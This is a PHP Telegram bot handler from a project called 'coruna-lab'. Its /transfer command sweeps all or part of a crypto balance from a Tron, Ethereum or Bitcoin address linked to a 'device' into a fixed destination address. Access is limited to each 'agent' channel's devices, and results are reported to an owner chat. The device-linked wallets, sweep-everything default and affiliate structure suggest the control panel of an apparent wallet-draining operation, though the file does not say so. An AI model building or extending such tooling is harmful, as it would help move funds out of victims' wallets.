Files
coruna-lab/app/Telegram/Handlers/TransferCommand.php
T
2026-09-25 13:10:34 +08:00

228 lines
6.8 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Telegram\Handlers;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Services\TransferService;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class TransferCommand
{
public function __construct(
private readonly TransferService $transfers,
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot, string $args): void
{
$parts = preg_split('/\s+/', trim($args)) ?: [];
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
if ($parts === []) {
$bot->sendMessage(
"Usage: /transfer <fromAddress> [TRX|USDT|ETH|BNB|BTC] [amount]\n"
."Omit amount to transfer all. Chain is inferred from address.\n"
."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n"
.'To = per-chain TRANSFER_TO_ADDRESS* (env).'
);
return;
}
$from = $parts[0];
$chain = $this->detectChain($from);
if ($chain === null) {
$bot->sendMessage('Unrecognized address. Supported: Tron (T…), ETH (0x…), BTC (1…/3…/bc1…).');
return;
}
$asset = $this->defaultAsset($chain);
$amount = null;
$allowed = $this->assetsForChain($chain);
if (count($parts) === 2) {
$second = strtoupper($parts[1]);
if (in_array($second, $allowed, true)) {
$asset = $second;
} elseif ($this->isAmount($parts[1], match ($chain) {
'eth' => 18,
'btc' => 8,
default => 6,
})) {
$amount = $parts[1];
} else {
$bot->sendMessage('Second arg must be '.implode('|', $allowed).', or an amount.');
return;
}
} elseif (count($parts) >= 3) {
$asset = strtoupper($parts[1]);
if (! in_array($asset, $allowed, true)) {
$bot->sendMessage('Asset must be '.implode(' or ', $allowed).' for '.$chain.'.');
return;
}
$decimals = match ($asset) {
'ETH', 'BNB' => 18,
'BTC' => 8,
default => 6,
};
if (! $this->isAmount($parts[2], $decimals)) {
$bot->sendMessage('Invalid amount.');
return;
}
$amount = $parts[2];
}
$agent = $this->context->agent();
if ($agent !== null && ! $this->addressOwnedByAgent($from, $agent)) {
$bot->sendMessage('⛔ 无权操作该地址(仅限本代理渠道设备)');
return;
}
$label = $amount === null ? "全部 {$asset}" : "{$amount} {$asset}";
$bot->sendMessage("⏳ 正在转账 {$label},从 {$from}({$chain})…");
$result = $this->transfers->handle($chain, $from, $amount, $asset, $this->operatorLabel($bot));
if (! ($result['ok'] ?? false)) {
$text = '❌ '.($result['error'] ?? '转账失败');
$bot->sendMessage($text);
$this->copyResultToOwner($bot, $text);
return;
}
$text = implode("\n", [
'✅ 交易已提交',
'链: '.$chain,
'转出: '.$result['from'],
'转入: '.$result['to'],
'金额: '.$result['amount'].' '.$result['asset'],
'交易: '.$result['txid'],
]);
$bot->sendMessage($text);
$this->copyResultToOwner($bot, $text);
}
/**
* Mirror the transfer result to the official group when /transfer ran elsewhere.
*/
private function copyResultToOwner(Nutgram $bot, string $text): void
{
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
if ($owner === '') {
return;
}
$current = trim((string) ($bot->chatId() ?? ''));
if ($current === '' || $current === $owner) {
return;
}
$copy = $text;
$agent = $this->context->agent();
if ($agent !== null) {
$name = trim((string) ($agent->username ?? ''));
$copy = '📣 代理转账'.($name !== '' ? ' · '.$name : '')."\n".$text;
}
try {
$bot->sendMessage($copy, chat_id: $owner);
} catch (\Throwable) {
// never break the command reply
}
}
private function detectChain(string $address): ?string
{
$address = trim($address);
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return 'tron';
}
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
return 'eth';
}
if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $address)) {
return 'btc';
}
if (preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $address)) {
return 'btc';
}
return null;
}
private function defaultAsset(string $chain): string
{
return match ($chain) {
'eth' => 'ETH',
'btc' => 'BTC',
default => 'USDT',
};
}
/** @return list<string> */
private function assetsForChain(string $chain): array
{
return match ($chain) {
'eth' => ['ETH', 'USDT', 'BNB'],
'btc' => ['BTC'],
default => ['TRX', 'USDT'],
};
}
private function isAmount(string $value, int $decimals = 6): bool
{
return (bool) preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $value);
}
private function operatorLabel(Nutgram $bot): string
{
$user = $bot->user();
$id = $user?->id ?? $bot->userId();
$username = $user?->username;
if ($username) {
return "telegram:{$id}@{$username}";
}
$name = trim((string) ($user?->first_name ?? ''));
return $name !== '' ? "telegram:{$id}({$name})" : "telegram:{$id}";
}
private function addressOwnedByAgent(string $fromAddress, User $agent): bool
{
$channelIds = Channel::query()
->where('user_id', $agent->id)
->pluck('channel_id');
if ($channelIds->isEmpty()) {
return false;
}
$deviceIds = Device::query()
->whereIn('channel_id', $channelIds)
->pluck('id');
if ($deviceIds->isEmpty()) {
return false;
}
return WalletAddress::query()
->whereIn('device_id', $deviceIds)
->where(function ($q) use ($fromAddress) {
$q->where('address', $fromAddress);
if (str_starts_with(strtolower($fromAddress), '0x')) {
$q->orWhereRaw('LOWER(address) = ?', [strtolower($fromAddress)]);
}
})
->exists();
}
}